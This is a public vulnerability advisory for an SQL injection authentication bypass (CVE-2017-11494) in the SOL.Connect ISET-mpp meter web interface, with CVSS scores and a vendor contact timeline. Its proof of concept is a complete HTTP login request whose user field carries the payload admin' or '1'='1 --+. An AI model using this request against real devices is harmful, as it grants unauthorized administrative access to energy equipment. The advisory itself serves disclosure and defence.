SOL.Connect ISET-mpp meter 1.2.4.2 - SQL Injection

2017.08.01
Credit: Andy Tan
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-89


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

Vulnerability type: SQL injection, leading to administrative access through authentication bypass. ----------------------------------- Product: SOL.Connect ISET-mpp meter ----------------------------------- Affected version: SOL.Connect ISET-mpp meter 1.2.4.2 and possibly earlier Vulnerable parameter: user ------------------------ Credit: Andy Tan ------------------------ CVE ID: CVE-2017-11494 ------------------------ ================ Proof of Concept ================ HTTP Request: POST /_45b4a69e249c1d0ab9772763f3c97e69_/?s=login&o=/_45b4a69e249c1d0ab977276 3f3c97e69_/%3fs%3dmain HTTP/1.1 Host: <IP-address> User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: http://<IP-address>/_45b4a69e249c1d0ab9772763f3c97e69_/?s=login&o=/_45b4 a69e249c1d0ab9772763f3c97e69_/%3fs%3dmain Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 131 action=submit&origin=%2F_45b4a69e249c1d0ab9772763f3c97e69_%2F%3Fs%3Dmain &s=login&user=admin%27+or+%271%27%3D%271+--%2B&password=asd ------------------------ Vendor contact timeline: ------------------------ 2017-07-20: Contacted vendor. No response. 2017-07-26: Contacted vendor again. No response. 2017-08-01: Public disclosure.


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